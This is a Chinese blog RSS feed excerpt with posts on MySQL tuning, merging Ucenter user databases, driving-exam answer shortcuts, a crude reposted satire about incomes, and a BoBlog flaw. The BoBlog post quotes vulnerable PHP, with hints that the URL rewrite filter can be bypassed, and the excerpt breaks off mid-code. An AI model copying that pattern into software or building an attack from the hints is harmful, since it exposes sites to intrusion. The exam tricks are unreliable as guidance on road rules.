localhost&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| ecjtu_discuzx | Query&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp; 84 | Sorting result&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | SELECT t.*, f.name FROM ecjtu_forum_thread t, ecjtu_forum_forum f WHERE f.status&lt;&gt;'3' AND f.fid=t.fi || 2446847 | ecjtu_discuzx | localhost&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| ecjtu_discuzx | Query&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp; 82 | Copying to tmp table on disk&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | SELECT t.*, f.name FROM ecjtu_forum_thread t, ecjtu_forum_forum f WHERE f.status&lt;&gt;'3' AND f.fid=t.fi || 2446851 | ecjtu_discuzx | localhost&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| ecjtu_discuzx | Query&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp; 81 | Locked&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | UPDATE ecjtu_forum_thread SET heats='5' WHERE tid='369720'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; || 2446855 | ecjtu_discuzx | localhost&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| ecjtu_discuzx | Query&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp; 80 | Locked&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | SELECT t.tid, t.closed, f.*, ff.*&nbsp;&nbsp;, f.fid AS fid+---------+---------------+----------------+---------------+-------------+--------+----------------------------------------------------------------+------------------------------------------------------------------------------------------------------+17 rows in set (0.00 sec)</pre></div>
<div contenteditable="false"><link href="/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet"></div>
</div>
<p>&nbsp;</p>
<p>明显是由于临时表过大导致mysql将临时表写入硬盘影响了整体性能。Mysql中tmp_table_size的默认值仅为32MB，在当前的情况下显然是不够用的。</p>
<p>尝试在命令行中使用set global tmp_table_size=522715200;&nbsp;&nbsp;(512M)命令调整临时表大小，并在/etc/my.cnf中添加tmp_table_size=512M。</p>
<p>目前问题得到解决</p>
<p>&nbsp;</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/asp-mdb-excle-2">继续ASP2EXCEL</a></p><p><a href="http://www.holmesian.org/fix-cdrom">光驱驱动问题的解决办法</a></p><p><a href="http://www.holmesian.org/asp-excle">ASP生成EXCEL</a></p><p><a href="http://www.holmesian.org/post/466">解决SP3补丁安装问题</a></p><p><a href="http://www.holmesian.org/XP-boot-up">减少你的Windows系统启动时间</a></p><p><a href="http://www.holmesian.org/Nginx_separator">解决Nginx下二级目录斜杠问题</a></p></div>]]></description>
	<pubDate>Mon, 14 Mar 2011 10:26:19 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/mysql-tmp-table-size</guid>

</item>
<item>
	<title>驾校考试秘笈</title>
	<link>http://www.holmesian.org/driver-study</link>
	<description><![CDATA[<p>据说是驾校考试秘笈，暂且放着看。</p><p>1<font face="宋体">、题目里有&ldquo;口&rdquo;的选</font><font face="Times New Roman">50</font><font face="宋体">米，有&ldquo;站&rdquo;的选</font><font face="Times New Roman">30</font><font face="宋体">米，叫&ldquo;口五站三</font><font face="Times New Roman">&quot; </font><font face="宋体">剩下的全选</font><font face="Times New Roman">150</font><font face="宋体">米，没有</font><font face="Times New Roman">150</font><font face="宋体">的选最大。判断题全对。</font></p><p><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'宋体'; "><br /></span><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'宋体'; ">2<font face="宋体">、有关公里的题目：城市街道选</font><font face="Times New Roman">50</font><font face="宋体">公里，其余有</font><font face="Times New Roman">30</font><font face="宋体">的全选</font><font face="Times New Roman">30</font><font face="宋体">。 高速最高</font><font face="Times New Roman">70</font><font face="宋体">，高速最低</font><font face="Times New Roman">60</font><font face="宋体">。判断题全对。</font></span><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'宋体'; "><br /></span><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'宋体'; "><br /></span><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'宋体'; ">3<font face="宋体">、吊销机动车证的为二年，撤消机动车证的为三年，以醉酒吊销五年，因逃跑而吊销是终身，叫&ldquo;吊二撤三醉五逃终身&rdquo;。</font></span><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'宋体'; "><br /></span><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'宋体'; "><br /></span><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'宋体'; ">4<font face="宋体">、伤员急救知识：选择题：</font><font face="Times New Roman">A</font><font face="宋体">、</font><font face="Times New Roman">B</font><font face="宋体">、</font><font face="Times New Roman">C</font><font face="宋体">、&ldquo;选字最多的&rdquo;。 判断题：只有&ldquo;远心端&rdquo;和&ldquo;软质担架&rdquo;是错的，其余都是对的。</font></span><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'宋体'; "><br /></span><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'宋体'; "><br /></span><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'宋体'; ">5<font face="宋体">、危险知识：题目里找&ldquo;不需要&rdquo; &ldquo;不受&rdquo; &ldquo;可以&rdquo; &ldquo;三层&rdquo; &ldquo;坚固无损&rdquo; 是错的，其余都是对的。</font></span><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'宋体'; "><br /></span><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'宋体'; "><br /></span><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'宋体'; ">6<font face="宋体">、扣分题：扣</font><font face="Times New Roman">1</font><font face="宋体">分： &ldquo;未带证件&rdquo;判断题：有 &ldquo;灯光&rdquo; 和 &rdquo;倒车&ldquo; 是对的，其余全错。扣</font><font face="Times New Roman">2</font><font face="宋体">分： 匝道超车（高速），未达</font><font face="Times New Roman">20%</font><font face="宋体">，打手机，违反标志，超</font><font face="Times New Roman">4</font><font face="宋体">小时，没有划中心线，实习期，交叉路口 。判断题： &rdquo;未与前保持安全距离&ldquo; 是对的。其余全错。扣</font><font face="Times New Roman">3</font><font face="宋体">分： 灯光、信号灯、号牌、高速、挂车，判断题全错。扣</font><font face="Times New Roman">6</font><font face="宋体">分： 饮酒、超过</font><font face="Times New Roman">50%</font><font face="宋体">、超过</font><font face="Times New Roman">30%</font><font face="宋体">，学习驾车（高速），不按规定停车（高速）。判断题全对。扣</font><font face="Times New Roman">12</font><font face="宋体">分：醉酒、扣证驾车、逃逸、借证驾车，超过三个月未缴罚款，驾不符合车型的，强行通过。判断题全对。</font></span><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'宋体'; "><br /></span><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'宋体'; "><br /></span><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'宋体'; ">7<font face="宋体">、罚款题：有 &rdquo;</font><font face="Times New Roman">2000</font><font face="宋体">&ldquo; 选 &rdquo;</font><font face="Times New Roman">2000</font><font face="宋体">&ldquo; ，没 &rdquo;</font><font face="Times New Roman">2000</font><font face="宋体">&ldquo; 选 &rdquo;</font><font face="Times New Roman">500</font><font face="宋体">&ldquo; ，没有 &rdquo;</font><font face="Times New Roman">2000</font><font face="宋体">以上&rdquo; 的和没有 &rdquo;</font><font face="Times New Roman">1000</font><font face="宋体">&ldquo;的罚款。其它全选最大题。考罚款金额的判断题全选正确。</font></span><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'宋体'; "><br /></span><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'宋体'; "><br /></span><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'宋体'; ">8<font face="宋体">、有关天数的题目：只要记住一个调解的选</font><font face="Times New Roman">10</font><font face="宋体">天，其余有</font><font face="Times New Roman">15</font><font face="宋体">天选</font><font face="Times New Roman">15</font><font face="宋体">天，没有</font><font face="Times New Roman">15</font><font face="宋体">天的选</font><font face="Times New Roman">3</font><font face="宋体">或</font><font face="Times New Roman">90</font><font face="宋体">。</font></span><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'宋体'; "><br /></span><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'宋体'; "><br /></span><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'宋体'; ">9<font face="宋体">、有关高度的：出现 &rdquo;集装箱&ldquo; 选最大，其余选小。</font></span><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'宋体'; "><br /></span><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'宋体'; "><br /></span><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'宋体'; ">10<font face="宋体">、关于作用的 &rdquo;变、离、柴、行&ldquo; </font><font face="Times New Roman">4</font><font face="宋体">个字后有作用全错，其余有作用全对。</font></span><span style="mso-spacerun:'yes'; font-size:10.5000pt; font-family:'宋体'; "><br /></span></p><p>[file][/file]</p><p>&nbsp;</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/post/501">意外的简单，出乎意料的严格</a></p><p><a href="http://www.holmesian.org/CET4-CET6">CET-4 and CET-6历年真题EXE格式电子书 </a></p><p><a href="http://www.holmesian.org/post/560">期中考试结束</a></p><p><a href="http://www.holmesian.org/post/498">刚考完理论力学</a></p><p><a href="http://www.holmesian.org/CET6-Answer">2009年四六级答案</a></p></div>]]></description>
	<pubDate>Sat, 12 Mar 2011 03:44:22 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/driver-study</guid>

</item>
<item>
	<title>合并两个Ucenter过程</title>
	<link>http://www.holmesian.org/Ucenter-com</link>
	<description><![CDATA[<p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;情况是这样的：因为一些历史原因，网站使用了两个互不相关的Ucenter，一个库名为Ucenter版本是1.0,给UCHome使用，另一个库名是Ucenter2版本为1.5,给Discuz! 7.2和Supersite以及X-Spaces使用，现在因为要将所有的应用都升级到Discuz X 1.5，所以需要先将两个Ucenter合并，再进行升级工作。</p>
<p>&nbsp;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;大概流程：将UChome 1.0升级到1.5使之版本相同，由于Ucenter2更大故以Ucenter2为合并后的主Ucenter程序，记录下此时Ucenter2的最大用户uid（这里是169327），由于检测到Ucenter和Ucenter2中有少量重名用户，（暂无法判断是否为同一用户），于是先在Ucenter中重复用户名后添加_home以做标记：</p>
<p>&nbsp;</p>
<p>&nbsp; &nbsp;&nbsp;</p>
<p>首先解决重名问题</p>
<p><pre class="brush:sql; toolbar: true; auto-links: true;">//SELECT a.`username` FROM `ucenter2`.uc_members a, `ucenter`.uc_members t WHERE a.`username` = t.`username`;
    
//update `ucenter`.uc_members set username=concat(username,+'_home') where (`ucenter`.uc_members.username) in (select username from `ucenter2`.uc_members);
    
//update `ucenter`.uc_members set username=concat(username,+'_home') where (`ucenter`.uc_members.username) in (SELECT a.`username` FROM `ucenter2`.uc_members a, `ucenter_bak`.uc_members t WHERE a.`username` = t.`username`);
    
//SELECT 'uid' FROM  `ucenter2`.uc_members WHERE `ucenter2`.uc_members.uid in (SELECT `ucenter2`.uc_members.uid FROM `ucenter2`.uc_members GROUP BY `ucenter2`.uc_members.uid HAVING count(`ucenter2`.uc_members.uid) &gt;1);
    
//create table `ucenter2`.tmptable as (SELECT `ucenter2`.uc_members.username FROM `ucenter2`.uc_members GROUP BY `ucenter2`.uc_members.username HAVING count(``ucenter2`.uc_members.username) &gt;1);
    
 
    
create table `ucenter2`.tmptable as (SELECT a.`username` FROM `ucenter2`.uc_members a, `ucenter`.uc_members t WHERE a.`username` = t.`username`);
    
update `ucenter`.uc_members set username=concat(username,+'_home') where exists (SELECT username FROM `ucenter2`.tmptable where `ucenter2`.tmptable.username = `ucenter`.uc_members.username);</pre></p>
<p>&nbsp;</p>
<p>&nbsp; &nbsp;&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>接下来修改Ucenter中与uid有关的部分，在原来Uid的基础上加上Ucenter2中Uid的最大值（这里是169327）：</p>
<p><pre class="brush:sql; toolbar: true; auto-links: true;">//修改次ucenter的uid号码
    
update `ucenter`.uc_friends set uid=uid+169327,friendid=friendid+169327,version=version+10555 ;
    
update `ucenter`.uc_members set uid=uid+169327 ;</pre></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>完成Ucenter中的相关修改后将ucenter数据导入Ucenter2中</p>
<p><pre class="brush:sql; toolbar: true; auto-links: true;">//将次ucenter导入主ucenter2中
    
//insert ignore into ucenter2.uc_members select * from ucenter_gbk.uc_members;
    
insert into ucenter2.uc_members select * from `ucenter`.uc_members;
    
insert into `ucenter2`.uc_friends select * from `ucenter`.uc_friends;</pre>&nbsp;</p>
<p>&nbsp; &nbsp;&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>接下来修改Uchome中与Uid有关的部分</p>
<p>&nbsp;<pre class="brush:sql; toolbar: true; auto-links: true;">//修改uchome中的uid
    
update `uchome_gbk`.uch_member set uid=uid+169327;
    
update `uchome_gbk`.uch_userappfield set uid=uid+169327;
    
update `uchome_gbk`.uch_blogfield set uid=uid+169327;
    
update `uchome_gbk`.uch_space set uid=uid+169327;
    
update `uchome_gbk`.uch_comment set uid=uid+169327,authorid=authorid+169327;
    
update `uchome_gbk`.uch_spacefield set uid=uid+169327;
    
update `uchome_gbk`.uch_blog set uid=uid+169327;
    
update `uchome_gbk`.uch_pic set uid=uid+169327;
    
update `uchome_gbk`.uch_friend set uid=uid+169327,fuid=fuid+169327;
    
update `uchome_gbk`.uch_spaceinfo set uid=uid+169327;
    
update `uchome_gbk`.uch_tagspace set uid=uid+169327;
    
update `uchome_gbk`.uch_poke set uid=uid+169327,fromuid=fromuid+169327;
    
update `uchome_gbk`.uch_post set uid=uid+169327;
    
update `uchome_gbk`.uch_feed set uid=uid+169327;
    
update `uchome_gbk`.uch_creditlog set uid=uid+169327;
    
 
    
update `uchome_gbk`.uch_notification set uid=uid+169327;
    
update `uchome_gbk`.uch_tag set uid=uid+169327;
    
update `uchome_gbk`.uch_vote set user_id=user_id+169327;
    
update `uchome_gbk`.uch_doing set uid=uid+169327;
    
update `uchome_gbk`.uch_share set uid=uid+169327;
    
 
    
update `uchome_gbk`.uch_sheep set uid=uid+169327;
    
update `uchome_gbk`.uch_stockmarket set UserID=UserID+169327;
    
update `uchome_gbk`.uch_thread set uid=uid+169327;
    
 
    
update `uchome_gbk`.uch_docomment set uid=uid+169327;
    
update `uchome_gbk`.uch_stock_wealthlist set uid=uid+169327;
    
update `uchome_gbk`.uch_album set uid=uid+169327;
    
update `uchome_gbk`.uch_usertask set uid=uid+169327;
    
update `uchome_gbk`.uch_visitor set uid=uid+169327,vuid=vuid+169327;
    
 
    
update `uchome_gbk`.uch_class set uid=uid+169327;
    
update `uchome_gbk`.uch_userapp set uid=uid+169327;
    
update `uchome_gbk`.uch_magicinlog set uid=uid+169327;
    
update `uchome_gbk`.uch_invite set uid=uid+169327;
    
update `uchome_gbk`.uch_magicuselog set uid=uid+169327;
    
update `uchome_gbk`.uch_im_config set uid=uid+169327;
    
update `uchome_gbk`.uch_clickuser set uid=uid+169327;
    
update `uchome_gbk`.uch_usermagic set uid=uid+169327;
    
 
    
update `uchome_gbk`.uch_poll set uid=uid+169327;
    
update `uchome_gbk`.uch_eventinvite set uid=uid+169327;
    
update `uchome_gbk`.uch_mtaginvite set uid=uid+169327,fromuid=fromuid+169327;
    
update `uchome_gbk`.uch_userevent set uid=uid+169327;
    
update `uchome_gbk`.uch_show set uid=uid+169327;
    
 
    
update `uchome_gbk`.uch_spacelog set uid=uid+169327;
    
update `uchome_gbk`.uch_event set uid=uid+169327;
    
update `uchome_gbk`.uch_topicuser set uid=uid+169327;
    
update `uchome_gbk`.uch_show set uid=uid+169327;
    
update `uchome_gbk`.uch_show set uid=uid+169327;</pre></p>
<p>&nbsp; &nbsp;&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>至此两个Ucenter的合并就基本完成了，经过测试此时uchome和Discuzx 7.2、Supersite、X-Space已经可以互通，唯一的缺陷是原来Ucenter中的用户头像可能会丢失。</p>
<p>&nbsp;</p>
<p>接下来可以用Discuz官方提供的所有版本升级到Discuz X 1.5程序将所有数据导入到Discuz x1.5，其实官方提供的所谓升级工具只是一个数据转换工具，转换之后很多原来应用中的特性都会丢失，比如X-Space的用户附件空间、文件空间等，所以请用到的TX请注意这一点。</p>
<p>&nbsp;</p>
<p>待升级到Discuzx 1.5完成之后，可以通过以下方法合并之前账户名重复的帐号</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp; &nbsp;&nbsp;</p>
<p>原账号：Holmesian</p>
<p>UID：7791</p>
<p>&nbsp; &nbsp;&nbsp;</p>
<p>计划合并账号：Holmesan_home</p>
<p>UID：188785</p>
<p>&nbsp; &nbsp;&nbsp;</p>
<p><pre class="brush:sql; toolbar: true; auto-links: true;">UPDATE `ecjtu_discuzx`.`ecjtu_home_friend` SET fuid = '7791' where fuid='188785';
    
UPDATE `ecjtu_discuzx`.`ecjtu_home_friend` SET uid = '7791' where uid='188785';
    
UPDATE `ecjtu_discuzx`.`ecjtu_home_blog` SET uid= '7791' where uid='188785';
    
UPDATE `ecjtu_discuzx`.`ecjtu_home_blogfield` SET uid = '7791' where uid='188785';</pre></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/post/488">给电脑维修人士的忠告</a></p><p><a href="http://www.holmesian.org/AutoCAD_shx">解决AutoCAD打开dwg图提示未找到字体问题</a></p><p><a href="http://www.holmesian.org/cdj">也来玩玩‘磁碟机’</a></p><p><a href="http://www.holmesian.org/asp-upload-files">ASP实现多文件无组件上传</a></p><p><a href="http://www.holmesian.org/asp-error-rewrite">利用错误代码写asp升级程序</a></p><p><a href="http://www.holmesian.org/KillKeeper">简单破解ISP封路由器突破NetKeeper</a></p></div>]]></description>
	<pubDate>Sat, 12 Mar 2011 01:42:17 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/Ucenter-com</guid>

</item>
<item>
	<title>年收入（转自豆瓣）</title>
	<link>http://www.holmesian.org/years-income</link>
	<description><![CDATA[<p>他年收入100多万</p>
<p><br />
开着一辆宝马5，天天被应酬折腾的要死要活，真想狠狠心不干了，当初干嘛非要自己创业，当年在那家外企也能挣个四五十万，加上些油水，能弄个大几十万，比自己干不知道要轻快多少！五险一金有公司给上着，多好啊，再看看现在，看看老婆孩子，还有跟着自己吃饭的好几十人<br />
，哪能说放手就放手，硬着头皮接着干吧，这不，一个猿类又给他打电话了，不知道又要干啥，唉。。。。。。。。。。。</p>
<p><br />
他年收入50多万<br />
<br />
开着一辆a4l，天天琢磨着什么时候能换一辆q7或者陆巡什么的，可是看看手里还有两套房子的贷款没又还完，咬咬牙还是算了吧，今年的指标刚下来，麻痹的又涨了40%，这tmd还叫人活吗？这指标这么涨下去，早晚有一天老人们全都得滚蛋，手底下这帮销售们，也是老的老，小的小，没啥冲劲了，唉，不行的话往市场部推俩人，然后招点新人吧 ，也不知道这次年底有没有戏升职，跟着头5年了，丫也该考虑我一下了吧，不过李xx和吴xx也不是白给的，唉，烦死了，这次升不上去，我的职业生涯也就到这了。。。真羡慕那些自己当老板的<br />
<br />
他年收入20多万<br />
操，眼瞅着这收入上来了，房价也tmd越来越高了， 我这样的都买不了房子，我艹他大爷！车也不让买了，大不了老子回老家去，看看今年我们领导能不能升职吧，他要是升职我也有戏往上走走。。。。。丈母娘那快下通牒了，实在不行我就去燕郊买一房去<br />
<br />
他年收入10万<br />
<br />
刚毕业2年，想想自己也是年薪十万的人了，不免有些小得意，在同学中的收入也算是中上等了，在chinaren和校内网上吹吹牛，晒晒自己的收入，很是满足。但是前几天跟同学打一电话，说谁谁谁在四环边贷款买房了，双方父母给出得首付，谁谁找的老婆是北京的，家里有几套房子。。。他的心里渐渐失衡了，他开始不再上猫扑，不再上网看体育资讯，开始看房产网站，看连家二手房，这才发现，心中那个买房的梦对自己几乎是个遥不可及的梦，他算了算，照他这个收入，省吃俭用得二十年后才能付得起一套两居室的首付，艹！<br />
然后他接着上起了天崖，，猫扑，八卦吧，房子爱咋地咋地，一切都是浮云<br />
<br />
对了，上周相得那个女孩又没信了，实在受不了这周我跟小王去趟胡同口的洗头房，麻痹咱也当回男人<br />
<br />
他年收入8万<br />
<br />
毕业3年了，买房是别想了，也就能凑合解决自己的温饱，在单位暂时不会有什么大起色、自己也没什么副业，人生到哪里是一站？自己到底该干什么？女朋友对自己挺好，没有房子他会嫁给我吗？父母也该养老了，不能再向家里要钱了！上学时的单纯和快乐还历历在目，可是回不去了。先这么忍着吧，找个机会看看能不能换个好工作。<br />
<br />
他年收入5万<br />
<br />
今年6月算是毕业满一年，听说去年有同学直接进外企签了十万年薪的offer，让我十分羡慕，想想自己所在的这个研究所，屁事没有，还得成天陪着领导喝酒去，真羡慕那些在高楼大厦上班的白领同学们，外表光鲜，每天在电梯里都能邂逅不同的漂亮美眉，而我在这个破研究所，交通还凑合，但是破烂不起眼的小院 ，一帮大叔大婶的同事，以及单位的主流交通工具——自行车，都让我在同学面前有些太不起头来，想想回老家过年和亲戚们在一起吃饭，自己号称是在“所里工作的”，这恐怕是目前自己活得最有尊严的一刻了吧<br />
<br />
老婆和我一样也住在单位宿舍，每到周五，周六，我们宿舍的同事们主动给我俩腾地方，这就是我一周里最幸福的时刻了<br />
<br />
老婆从农村来，对四五千的收入很满意了，可是我怎么就看不到我俩有什么光明的未来呢，我俩加起来每月八九千，除去消费，每月给家里寄去一些钱，得攒到哪年哪月才能在北京 安下个家啊</p>
<p><br />
他年收入3万元<br />
<br />
自己大专毕业后，就直接回家了，没事和留在大城市的同学打打电话，感觉他们活得比自己丰富多彩多了，这个小城镇，就那么几家商场，连杰克琼斯都没有，虽然自己也不买吧，但是看看还是挺过瘾的，现在自己在叔叔的超市帮忙，一个月开两千多，比小城里大多数这个岁数的年轻人都挣的多了，想想还是挺开心的，再也不担心没钱上网了，对了，叔叔有辆小<br />
奥拓好像说给我，回头俺也是有车的人啦！虽然小红喜欢qq，但是三万多我一年不吃不喝也买不起啊，小红和超市里收银的小武都追我呢，小武好看些，但是才挣七八百，好像是临时的，小红的爸爸是县林业局的，家里有一套林业局的老房子没人住，可能给小红当婚房，但是身材和长相都不如小武好，我该选谁呢，唉，烦死我了。。。前几天听说大学时的女友现在嫁了一个省会的小子，留在省会了，靠，那小子还没我下巴高呢，艹！</p>
<p><br />
他年收入2万元<br />
<br />
中专毕业后，直接从地级市的城市返回老家，想想自己真是没出息啊，除了踢得一脚好足球，好像没啥本事了 ，哦，不是，自己在床上还是蛮威猛的，中专期间的2个女友都为自己坠过胎，想想虽然对不起他们，但是床上确实把她们满足了，自己家是农村的，地都被占了，父亲没有地钟，现在在县城里拉三轮呢，每月也就挣个1500块，想想自己拿父亲 拉三轮挣的钱给俩女友乱花乱造，真是鼻子有些泛酸，还好回家就找到事干了，帮朋友开的网吧看摊，职业应该叫做“网管”吧，每月能挣个一千六七，不错了，我们同学好多人毕业就回家种地了，别的网吧的网管好像也就开个一千二三。。。每天跟和我换班的小美女打打闹闹也挺幸福的啊，她是不是真看上我了，呵呵，我这接着当网管的便利，能看到好多漂亮妹妹的qq号，我该从哪个开始下手呢....<br />
<br />
他年收入上亿<br />
<br />
他年收入上亿，他自己不知道自己一年能挣多少钱，或者自己拥有多少钱，钱在于他只是数字了，他开着奔驰的加厚防弹车驰骋在深圳的南山大道上，颇有些德高望重的意思，谁要是敢别他，他就急加油上去，从前面把那个车一别，直到把他别在护栏上才扬长而去。。。他在22年前（玐九年）大学毕业，那一年的大学生分配本来就不好，他还上的事一个二流大学，更没地方落脚了，干脆去了深圳，刚开始在半导体工厂上班，后来升职，加薪，自己出来干，当年的初恋女友嫁人了，可他每次抱着女明星或者主持人的时候想起来的还是她，他已经很多年不和老婆做爱了，但是他还是爱老婆的，也早就不再打老婆了，老婆也不容易。。。每次他从澳门赌场回来，或者得意或者失意，总要和赵局去耍一下，喝多了酒，眼珠子发红的他往小三家开车，越开越快，越开越快，这个时候，脑子里只有一个想法：你为什么不去死。。。你还活着还有什么意思。。。你为什么不去死。。。。</p>
<p>&nbsp;</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/post/392">全面提升Google Adsense的收入</a></p></div>]]></description>
	<pubDate>Fri, 11 Mar 2011 11:06:54 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/years-income</guid>

</item>
<item>
	<title>BoBlog任意变量覆盖漏洞</title>
	<link>http://www.holmesian.org/boblog-bugs</link>
	<description><![CDATA[<div>&nbsp;</div>
<div>刚给程序打完补丁，这年头用个如此非主流的Blog程序都有那么多安全问题……映象中Boblog已经很久很久没有更新了，这次的问题貌似又是过滤不严。查了一下日志，貌似我比较幸运的还没被利用。</div>
<div><br />
</div>
<div>&nbsp;</div>
<div><br />
</div>
<div>08年的漏洞现在才公开，漏洞影响Boblog版本 2.1.0 2.1.1</div>
<div><br />
</div>
<div>&nbsp;</div>
<div><br />
</div>
<div>&nbsp;</div>
<div><br />
</div>
<div>下面是漏洞相关的信息：</div>
<div><br />
</div>
<div>&nbsp;</div>
<div><br />
</div>
<div>&nbsp;</div>
<div><br />
</div>
<div>&nbsp;</div>
<div>&nbsp; &nbsp;&nbsp;</div>
<div>漏洞代码如下：</div>
<div>&nbsp; &nbsp;&nbsp;</div>
<div>&nbsp;</div>
<div>&nbsp; &nbsp;&nbsp;</div>
<div><pre class="brush:php; toolbar: true; auto-links: true;">// go.php
    
 
    
$q_url=$_SERVER["REQUEST_URI"];
    
 
    
@list($relativePath, $rawURL)=@explode('/go.php/', $q_url);
    
 
    
$rewritedURL=$rawURL; // 来自$_SERVER["REQUEST_URI"],可以任意提交的:)
    
 
    
...
    
 
    
$RewriteRules[]="/component\/([^\/]+)\/?/";
    
 
    
// 这个正则限制的不够细致,可以很轻易的绕过:)
    
 
    
...
    
 
    
$RedirectTo[]="page.php?pagealias=\\1";
    
 
    
 
    
 
    
$i=0;
    
 
    
foreach ($RewriteRules as $rule) {
    
 
    
    if (preg_match($rule, $rewritedURL)) {
    
 
    
